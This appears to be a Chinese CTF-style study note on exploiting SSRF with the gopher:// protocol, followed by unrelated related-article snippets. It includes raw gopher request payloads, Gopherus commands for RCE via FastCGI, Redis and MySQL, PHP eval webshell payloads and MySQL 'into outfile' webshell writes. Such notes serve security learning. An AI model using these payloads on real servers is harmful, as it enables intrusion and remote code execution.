gopher伪协议

基础知识

基本格式

基本格式:URL:gopher://<host>:<port>/<gopher-path>
  • web也需要加端口号80
  • gophert协议默认端口为70
  • gopheri请求不转发第一个字符

Snipaste_2024-02-26_20-44-17.png

get请求

  • 问号(?)需要转码为URL编码,也就是%3f
  • 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
  • URL编码改为大写,冒号注意英文冒号
  • 如果使用BP发包需要进行两次u编码
  • GET提交最后需要增加一个换行符
gopher://127.0.0.1:80/_
GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1

为什么bp要进行两次url编码

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;
而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode

Snipaste_2024-02-27_16-42-33.png

post请求

需要注意的是,post请求有4个参数为必要参数。

gopher://127.0.0.1:80/_
POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7a=hello

当我们不得不添加别的参数

Cookie

POST /index.php HTTP/1.1
Host: localhost:80
Cookie: PHPSESSID=1f546328759632456215236845122365
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24uname=admin&passwd=admin

xxe

[[xxe]]
Snipaste_2024-02-28_00-02-21.png

sql-get

[[sql注入]]
注意不要使用+当做空格,就页面里面用%20,bp或hackbar用%2520
[外链图片转存中…(img-kwRcQIhN-1711552424782)]

sql-post

[[sql注入]]
[外链图片转存中…(img-yt5YfBVj-1711552424782)]

文件上传

[[文件上传]]

前置知识

image.png

如何构造payload

Snipaste_2024-02-28_09-26-53.png

Snipaste_2024-02-28_09-30-34.png

使用

假设172.6.0.1:80页面有文件上传

gopher://172.6.0.1:80/_

Snipaste_2024-02-28_09-32-18.png

文件包含

[[文件包含]]
Snipaste_2024-02-28_09-41-18.png

Gopherus工具

使用范围

目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)

RCE

python2 gopherus.py –exploit fastcgi(写支持的名字,如fastcgi,redis,mysql)
/var/www/html/index.php             //?url= 页面的具体目录ls
ls /
cat /flag.php

webshell

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php           //?url= 页面的具体目录echo "<?php eval(\$_POST[123]);?>" >1.php     //$_POST[]里面不能是字母,前面的 \ 不可少! 就用这个,别改就行!!!python2 gopherus.py –exploit redis
PHPShell				//这里有两个选项:ReverseShell应该是反弹shell  PHPshell(填php也行)就是webshell了
/var/www/html/index.php <?php eval($_POST["aaa"])?>  //redis好像和fastcgi不同,他的webshell不能用,redis的POST里面是字母,他的是数字  用这个,                              //别改就行

mysql

不使用工具生成的话去看图片笔记

条件

因为是使用into outfile函数写入的,有一下限制
[[mysql-文件读写#1.13.3. 写文件]]

Snipaste_2024-02-28_15-38-04.png

常规使用

python2 gopherus.py --exploit mysqlselect "<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';select "<?php @eval($_POST['t']);?>" into outfile '/var/www/html/4.php';select load_file("/flag");

Snipaste_2024-02-28_15-42-32.png

UDF 提权

https://www.sqlsec.com/udf/

redis未授权

如果对方有网站,

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/572626.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

sheng的学习笔记-AI-YOLO算法,目标检测

AI目录&#xff1a;sheng的学习笔记-AI目录-CSDN博客 目录 目标定位&#xff08;Object localization&#xff09; 定义 原理图 具体做法&#xff1a; 输出向量 图片中没有检测对象的样例 损失函数 ​编辑 特征点检测&#xff08;Landmark detection&#xff09; 定义&a…

云原生(六)、CICD - Jenkins快速入门

Jenkuns快速入门 一、CICD概述 CICD是持续集成&#xff08;Continuous Integration&#xff09;和持续部署&#xff08;Continuous Deployment&#xff09;的缩写。它是软件开发中的一种流程和方法论&#xff0c;旨在通过自动化的方式频繁地将代码集成到共享存储库中&#xf…

STM32启动文件命名方式说明以及启动过程分析

1、启动文件的路径 cl&#xff1a;互联型产品&#xff0c;stm32f105/107系列 vl&#xff1a;超值型产品&#xff0c;stm32f100系列 xl&#xff1a;超高密度产品&#xff0c;stm32f101/103系列 flash容量大小&#xff1a; ld&#xff1a;小容量产品&#xff0c; 小于64KB md…

CV领域 交叉注意力(Cross Attention)中QKV的含义理解

交叉注意力公式&#xff1a; 注意力的输入&#xff1a; &#xff08;1&#xff09;KV&#xff1a;图像的全局特征 &#xff08;2&#xff09;Q&#xff1a;告诉attention需要关注哪些重要特征 公式计算过程理解&#xff1a; &#xff08;1&#xff09;&#xff1a;Q和K相乘…

Django Cookie和Session

Django Cookie和Session 【一】介绍 【1】起因 HTTP协议四大特性 基于请求响应模式&#xff1a;客户端发送请求&#xff0c;服务端返回响应基于TCP/IP之上&#xff1a;作用于应用层之上的协议无状态&#xff1a;HTTP协议本身不保存客户端信息短链接&#xff1a;1.0默认使用短…

libVLC 动态视频壁纸

在 Windows 上&#xff0c;你可能需要使用 Windows API 来设置壁纸&#xff0c;而在 Linux 上&#xff0c;你可能需要使用某种桌面环境特有的方法。在 macOS 上&#xff0c;这一功能可能受到限制。 效果图如下所示&#xff1a; 以下是一个简单的示例&#xff0c;说明了如何在 …

基于Arduino IDE 野火ESP8266模块 一键配网 的开发

一、配网介绍 ESP8266 一键配网&#xff08;也称为 SmartConfig 或 FastConfig&#xff09;是一种允许用户通过智能手机上的应用程序快速配置 ESP8266 Wi-Fi 模块的方法&#xff0c;而无需手动输入 SSID 和密码。为了实现这一功能&#xff0c;则需要一个支持 SmartConfig 的智能…

ssm小区车库停车系统开发mysql数据库web结构java编程计算机网页源码eclipse项目

一、源码特点 ssm小区车库停车系统是一套完善的信息系统&#xff0c;结合springMVC框架完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用SSM框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模…

Tensorflow2.0笔记 - 使用compile,fit,evaluate,predict简化流程

本笔记主要用compile, fit, evalutate和predict来简化整体代码&#xff0c;使用这些高层API可以减少很多重复代码。具体内容请自行百度&#xff0c;本笔记基于FashionMnist的训练笔记&#xff0c;原始笔记如下&#xff1a; Tensorflow2.0笔记 - FashionMnist数据集训练-CSDN博…

Tunes不能读取iPhone的内容,请前往iPhone偏好设置的摘要选项卡,然后单击恢复以将此iPhone恢复为出厂设置

重启itunes: 参考链接&#xff1a; https://baijiahao.baidu.com/s?id1642568736254330322&wfrspider&forpc 人工智能学习网站&#xff1a; https://chat.xutongbao.top

实例:NX二次开发使用链表进行拉伸功能(链表相关功能练习)

一、概述 在进行批量操作时经常会利用链表进行存放相应特征的TAG值&#xff0c;以便后续操作&#xff0c;最常见的就是拉伸功能。这里我们以拉伸功能为例子进行说明。 二、常用链表相关函数 UF_MODL_create_list 创建一个链表&#xff0c;并返回链表的头指针。…

uniapp 微信小程序 canvas 手写板文字重复倾斜水印

核心逻辑 先将坐标系中心点通过ctx.translate(canvasw / 2, canvash / 2) 平移到canvas 中心&#xff0c;再旋转设置水印 假如不 translate 直接旋转&#xff0c;则此时的旋转中心为左上角原点&#xff0c;此时旋转示意如图所示 当translate到中心点之后再旋转&#xff0c;此…